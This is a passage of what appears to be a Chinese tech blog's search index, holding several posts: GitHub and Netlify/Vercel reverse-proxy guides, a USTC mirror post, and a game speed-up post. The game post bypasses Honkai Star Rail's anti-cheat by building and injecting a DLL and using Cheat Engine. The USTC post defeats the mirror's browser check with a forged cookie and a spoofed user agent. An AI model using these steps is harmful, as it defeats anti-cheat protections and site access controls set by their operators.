GitHub代理服务器启动在端口 :8080 2025/06/20 23:13:17 请确保你的域名已正确配置并指向此服务器 5. 配置Nginx反向代理 使用Nginx或OpenResty反向代理 localhost:8080，配置域名格式为 gh.你的域名：\n6. 签发SSL证书 签发泛域名证书并部署：\n7. 完成 现在你可以通过自己的域名+VPS代理访问Github，国内直连，无需梯子：\n方案对比 方案 成本 国内速度 部署难度 可定制性 Vercel Function 免费 一般 最简单 中等 Cloudflare Worker 免费 一般 简单 中等 EdgeOne Pages 免费 优秀 简单 中等 VPS + Go VPS费用 取决于VPS位置 复杂 高 高级配置 如果你想修改三级域名，比如将 gh.abc.com 改为 github.abc.com，直接更改域名映射配置对应键的值即可。\n你可以添加和删除要重定向的路径，默认重定向到一个神秘网站，根据注释自行更改。\n本项目也是一个通用的全站反代模板，可以反代其他网站（注意需要大改代码）。\n","permalink":"https://blog.2x.nz/posts/gh-proxy/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e由于网络原因，国内访问Github经常遇到各种问题。本文将带你从原理到实践，搭建一个属于自己的Github全站反向代理。\u003c/p\u003e\n\u003ch1 id=\"为什么不能只用透明代理\"\u003e为什么不能只用透明代理？\u003c/h1\u003e\n\u003cp\u003e针对Github这样的网站，我们无法仅使用一个简单的透明反向代理指向 \u003ccode\u003egithub.com\u003c/code\u003e 来解决，原因有两点：\u003c/p\u003e\n\u003ch2 id=\"1-外域依赖问题\"\u003e1. 外域依赖问题\u003c/h2\u003e\n\u003cp\u003eGithub官网有许多外域依赖，比如 \u003ccode\u003eraw.githubusercontent.com\u003c/code\u003e、\u003ccode\u003eavatars.githubusercontent.com\u003c/code\u003e 等。如果只代理主域名，这些资源请求会直接访问原站，导致加载失败。\u003c/p\u003e\n\u003ch2 id=\"2-钓鱼风险\"\u003e2. 钓鱼风险\u003c/h2\u003e\n\u003cp\u003e注意！直接反代主流网站后，不久你的网站就会被Cloudflare标记为\u003cstrong\u003e钓鱼站点\u003c/strong\u003e，因为你原封不动的克隆了人家站点并且 \u003cstrong\u003e没有显式屏蔽登录页面\u003c/strong\u003e。\u003c/p\u003e\n\u003ch1 id=\"解决方案透明代理--html覆写\"\u003e解决方案：透明代理 + HTML覆写\u003c/h1\u003e\n\u003ch2 id=\"核心思路\"\u003e核心思路\u003c/h2\u003e\n\u003cp\u003e我们需要实现两个关键功能：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e透明代理\u003c/strong\u003e：将请求转发到Github服务器\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHTML覆写\u003c/strong\u003e：重写Github返回的HTML，将其中的外域改为我们自己的域\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"请求流程对比\"\u003e请求流程对比\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e原始流程：\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e用户 -\u0026gt; github.com -\u0026gt; raw.githubusercontent.com（被github.com请求）\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e代理流程：\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e用户 -\u0026gt; gh.072103.xyz -\u0026gt; raw-githubusercontent-com.072103.xyz（被gh.072103.xyz请求）\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e对于 \u003ccode\u003egh.072103.xyz\u003c/code\u003e 的请求由代理服务转发到 \u003ccode\u003egithub.com\u003c/code\u003e，而针对于 \u003ccode\u003eraw-githubusercontent-com.072103.xyz\u003c/code\u003e 的请求则转发到 \u003ccode\u003eraw.githubusercontent.com\u003c/code\u003e。\u003c/p\u003e\n\u003ch2 id=\"域名映射配置\"\u003e域名映射配置\u003c/h2\u003e\n\u003cp\u003e你需要配置类似这样的域名映射：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edomain_mappings\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;gh.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;avatars.githubusercontent.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;avatars-githubusercontent-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github.githubassets.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github-githubassets-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;collector.github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;collector-github-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;api.github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;api-github-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;raw.githubusercontent.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;raw-githubusercontent-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;gist.githubusercontent.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;gist-githubusercontent-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github.io\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github-io.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;assets-cdn.github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;assets-cdn-github-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;cdn.jsdelivr.net\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;cdn.jsdelivr-net.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;securitylab.github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;securitylab-github-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;www.githubstatus.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;www-githubstatus-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;npmjs.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;npmjs-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;git-lfs.github.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;git-lfs-github-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;githubusercontent.com\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;githubusercontent-com.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github.global.ssl.fastly.net\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github-global-ssl-fastly-net.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;api.npms.io\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;api-npms-io.\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github.community\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;github-community.\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e假如你的域名为 \u003ccode\u003eabc.com\u003c/code\u003e，你需要将以下子域名绑定到你的代理服务：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egh.abc.com\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eavatars-githubusercontent-com.abc.com\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eraw-githubusercontent-com.abc.com\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u0026hellip;等等\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"防钓鱼措施\"\u003e防钓鱼措施\u003c/h2\u003e\n\u003cp\u003e我们需要找到原站点的所有登录页逐一屏蔽，对于Github.com，我们需要屏蔽：\u003c/p\u003e","title":"Github全站反向代理搭建指南"},{"content":"原理剖析 注入一个DLL实现绕过ACE反作弊，然后用CE的变速精灵\n正式开始 确保你安装了Virtual Studio 2022 中的工作负载：使用C++的桌面开发\n克隆DLL源码仓库：GitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.\n前往 Releases · TsudaKageyu/minhook 分别下载 bin 和 lib ，将其解压后寻找文件 libMinHook.x64.lib 和 MinHook.h 将其放到DLL源码仓库根目录\n代码需要小改，这里省略\n编译：\nMSBuild star_rail.sln /p:Configuration=Release /p:Platform=x64 /property:GenerateFullPaths=true 产物在：\n\\x64\\Release\\star_rail.dll\n前往 Releases · master131/ExtremeInjector 下载并解压，得到 Extreme Injector v3.exe\n正常打开游戏，运行 Extreme Injector v3.exe ，选择游戏进程，注入刚刚编译出来的DLL\n前往 https://www.cheatengine.org/ 下载CE，打开CE，如果游戏没有闪退或者弹出反作弊窗口，则证明注入成功。接下来选择游戏进程，开启变速精灵，2-5倍速即可。Enjoy it！\n","permalink":"https://blog.2x.nz/posts/starrail-fast/","summary":"\u003ch1 id=\"原理剖析\"\u003e原理剖析\u003c/h1\u003e\n\u003cp\u003e注入一个DLL实现绕过ACE反作弊，然后用CE的变速精灵\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e确保你安装了Virtual Studio 2022 中的工作负载：使用C++的桌面开发\u003c/p\u003e\n\u003cp\u003e克隆DLL源码仓库：\u003ca href=\"https://github.com/gmh5225/Honkai-StarRail-ACE-B\"\u003eGitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/TsudaKageyu/minhook/releases\"\u003eReleases · TsudaKageyu/minhook\u003c/a\u003e 分别下载 \u003ccode\u003ebin\u003c/code\u003e 和 \u003ccode\u003elib\u003c/code\u003e ，将其解压后寻找文件 \u003ccode\u003elibMinHook.x64.lib\u003c/code\u003e 和 \u003ccode\u003eMinHook.h\u003c/code\u003e 将其放到DLL源码仓库根目录\u003c/p\u003e\n\u003cp\u003e代码需要小改，这里省略\u003c/p\u003e\n\u003cp\u003e编译：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMSBuild star_rail.sln /p:Configuration\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eRelease /p:Platform\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ex64 /property:GenerateFullPaths\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003etrue\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e产物在：\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\\x64\\Release\\star_rail.dll\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/master131/ExtremeInjector/releases\"\u003eReleases · master131/ExtremeInjector\u003c/a\u003e 下载并解压，得到 \u003ccode\u003eExtreme Injector v3.exe\u003c/code\u003e\u003c/p\u003e","title":"崩坏星穹铁道全局加速"},{"content":"原理思路 现阶段大部分家宽拿不到公网IPv4，但是可以拿到公网IPv6，借助Netlify做一个v6 -\u0026gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程，不过这玩意在2025年仍然不支持IPv6，只能拿来反代小黄站了ToT\n正式开始 Netlify篇 首先前往 https://app.netlify.com/ 注册账号。（注意！最好使用谷歌邮箱去注册，其他方式注册可能会出现什么你的账号需要验证/激活，然后巴拉巴拉很麻烦） 接下来去Github开一个新仓库，根目录创建一个 netlify.toml。在其中写入\n[[redirects]] from = \u0026#34;/*\u0026#34; to = \u0026#34;http://反代域名:反代端口/:splat\u0026#34; status = 200 force = true 注意，端口后面的斜杠一定不要丢！ 家宽v6网站建议搭配DDNS食用 接下来回到 https://app.netlify.com/ 创建一个新项目，导入你刚创建的Github项目，部署即可 最后绑定一下你的域名，完成！\nVercel篇 首先前往 https://vercel.com/ 注册并登录你的账号 电脑安装Nodejs，我们需要用到npm 安装Vercel CLI\nnpm i -g vercel 登录Vercel CLI\nvercel login 找个地方（比如桌面）创建一个你随意命名的文件夹，然后在其中创建一个你随意命名的.json文件，其中写入。注意，目前Vercel不支持反代IPv6！！！\n{ \u0026#34;version\u0026#34;: 2, \u0026#34;routes\u0026#34;: [ {\u0026#34;src\u0026#34;: \u0026#34;/(.*)\u0026#34;,\u0026#34;dest\u0026#34;: \u0026#34;https://反代域名:端口\u0026#34;} ] } 然后部署\nverceL -A 你随意命名的.json --prod 最后绑定一下你的域名，完成！\n","permalink":"https://blog.2x.nz/posts/netlify-vercel-proxy/","summary":"\u003ch1 id=\"原理思路\"\u003e原理思路\u003c/h1\u003e\n\u003cp\u003e现阶段大部分家宽拿不到公网IPv4，但是可以拿到公网IPv6，借助Netlify做一个v6 -\u0026gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程，不过这玩意在2025年仍然不支持IPv6，只能拿来反代小黄站了ToT\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003ch2 id=\"netlify篇\"\u003eNetlify篇\u003c/h2\u003e\n\u003cp\u003e首先前往 \u003ca href=\"https://app.netlify.com/\"\u003ehttps://app.netlify.com/\u003c/a\u003e 注册账号。（注意！最好使用谷歌邮箱去注册，其他方式注册可能会出现什么你的账号需要验证/激活，然后巴拉巴拉很麻烦）\n接下来去Github开一个新仓库，根目录创建一个 \u003ccode\u003enetlify.toml\u003c/code\u003e。在其中写入\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-toml\" data-lang=\"toml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[[\u003cspan style=\"color:#a6e22e\"\u003eredirects\u003c/span\u003e]]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003efrom\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/*\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eto\u003c/span\u003e = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://反代域名:反代端口/:splat\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003estatus\u003c/span\u003e = \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eforce\u003c/span\u003e = \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意，端口后面的斜杠一定不要丢！\n家宽v6网站建议搭配DDNS食用\n接下来回到 \u003ca href=\"https://app.netlify.com/\"\u003ehttps://app.netlify.com/\u003c/a\u003e 创建一个新项目，导入你刚创建的Github项目，部署即可\n最后绑定一下你的域名，完成！\u003c/p\u003e\n\u003ch2 id=\"vercel篇\"\u003eVercel篇\u003c/h2\u003e\n\u003cp\u003e首先前往 \u003ca href=\"https://vercel.com/\"\u003ehttps://vercel.com/\u003c/a\u003e 注册并登录你的账号\n电脑安装Nodejs，我们需要用到npm\n安装Vercel CLI\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enpm i -g vercel\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e登录Vercel CLI\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003evercel login\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e找个地方（比如桌面）创建一个你随意命名的文件夹，然后在其中创建一个你随意命名的.json文件，其中写入。\u003cstrong\u003e注意，目前Vercel不支持反代IPv6！！！\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;version\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;routes\u0026#34;\u003c/span\u003e: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      {\u003cspan style=\"color:#f92672\"\u003e\u0026#34;src\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/(.*)\u0026#34;\u003c/span\u003e,\u003cspan style=\"color:#f92672\"\u003e\u0026#34;dest\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://反代域名:端口\u0026#34;\u003c/span\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后部署\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003everceL -A 你随意命名的.json --prod\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e最后绑定一下你的域名，完成！\u003c/p\u003e","title":"Netlify、Vercel反代网站"},{"content":"前言 当我们去下载类似于 https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso 这样的大文件时，USTC大概率会给你一个这样的：正在验证你的浏览器 的页面\n如果你正在使用一个浏览器，比如Chrome、FireFox等，那过几秒你就能看到文件被成功开始下载\n但是，如果你正在使用wget等无JS特性的工具下载这类文件，你将会被网站服务器拒绝： ERROR 403: Forbidden.\n~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:44:13-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:44:14 ERROR 403: Forbidden. 在之前，如果我想要下载这类文件我都会使用浏览器去下载，但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了\n于是我便想深挖一下，然后发现其实根本不是什么JS验证！！！\n分析 让我们首先打开这类链接，然后查询网页源代码\n\u0026lt;h1\u0026gt;Verifying your browser\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;Additional verification is required for this file you requested.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;This page requires JavaScript. Please wait for a few seconds.\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;footer\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; document.cookie = \u0026#34;addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300\u0026#34;; setTimeout(function () { location.reload(); }, 2000); \u0026lt;/script\u0026gt; 你会发现，代码其实非常简洁干练，如果你的浏览器支持JavaScript，浏览器则会将 addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa这一串内容写入你的Cookie，之后等待两秒重载页面，然后网站发现你携带了这个Cookie，就会让你成功下载了。反之，如果你的浏览器不支持JavaScript，就会触发403，导致无法下载\n那么这个addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa到底是什么呢？\n我们注意到在网页上还显示了一句：Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa，那么显然，网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的\n那么换一个思路去想，我是不是只要携带了这个Cookie，就能绕过JS验证呢？\n让我们来试一试\n实战 首先我们使用默认的wget。403\nroot@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:55:00-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:55:00 ERROR 403: Forbidden. 然后让我们携带上Cookie，但是首先我们要获得网站获取到的我们的访问IP。\n这很简单，我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为：2409:8a30:320:6480::458\nroot@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn/dbian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;403 Forbidden\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; 这里是无关紧要的CSS，省略 \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;403 Forbidden\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;USTC Mirrors has denied your access due to one of the following reasons:\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;1. This directory is not intended for web browsing.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;2. Your computer or network has exhibited suspicious activity.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;If you have any question, email us at lug (AT) ustc.edu.cn with your IP address.\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;footer\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Your IP address is 2409:8a30:320:6480::458\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 接下来让我们携带Cookie：addr=2409:8a30:320:6480::458，再次尝试wget。可惜仍然报错，思考了一下，我们可能需要伪造一下UA\nroot@AcoFork-NAS:~# wget --header=\u0026#34;Cookie: addr=2409:8a30:320:6480::458\u0026#34; \\ https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso --2025-04-04 14:57:58-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110 Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 2025-04-04 14:57:58 ERROR 403: Forbidden. 那么接下来我们携带必要的Cookie，再去伪造一个Chrome浏览器的UA。可见，已经成功下载\nroot@AcoFork-NAS:~# wget --header=\u0026#34;Cookie: addr=2409:8a30:320:6480::458\u0026#34; \\ --user-agent=\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0\u0026#34; \\ 